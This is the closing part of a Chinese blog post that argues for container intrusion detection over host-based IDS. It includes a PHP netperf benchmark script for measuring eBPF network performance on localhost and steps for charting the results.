我们现在使用的单机化、虚拟化的传统思维模式研发安全防护产品,在面对云原生时代容器化的IDC安全问题时,还能跟得上吗?是时候用CIDS来代替HIDS了。 注: HIDS:Host-based Intrusion Detection System CIDS:Container Intrusion Detection System 附 测试脚本 <?php //benchmark.php function testTp($req_size) { $file = 'result/bench_tp_ebpf_r'.$req_size.'_30s'; $strCmd = "netperf -t TCP_RR -H 127.0.0.1 -p 1000 -l 30 -- -r $req_size, %d"; $arrAll = array(); for ($i=1; $i<=60; $i++) { $msg_size = $i*500; $cmd = sprintf($strCmd,$msg_size); echo $file, ": start to exec ",$cmd,"\n"; $arrExec = array(); exec($cmd, $arrExec); $r = array_pop($arrExec); $r = array_pop($arrExec); $r1 = preg_split('/\s+/',$r); $arrAll[$msg_size] = trim($r1[5]); $f = sprintf($file,$msg_size); } var_dump($arrAll); file_put_contents($f,json_encode($arrAll)); } $arrTest = array( 64, 128, 256); $strCmdServer = 'netserver -p 1000'; $rs = system($strCmdServer); var_dump($rs); foreach ($arrTest as $v) { echo "--------------------------------\n"; echo "--------开始测试:$v-----------\n"; echo "--------------------------------\n"; testTp($v); } echo "done\n"; 结果处理 执行./load.sh脚本,启用ebpf,执行php benchmark.php 合并 result/bench_tp_ebpf_*中几个文件,把json的结果转化到csv中 使用plotly.com创建图表,导入csv文件,开始制表画图 后续 我会开始分析Cilium的eBPF源码,了解eBPF在K8s产品中实现原理,更好的研发用eBPF实现行为观测的数据收集,安全防护的CIDS(HIDS)产品 2021-11-01 1 0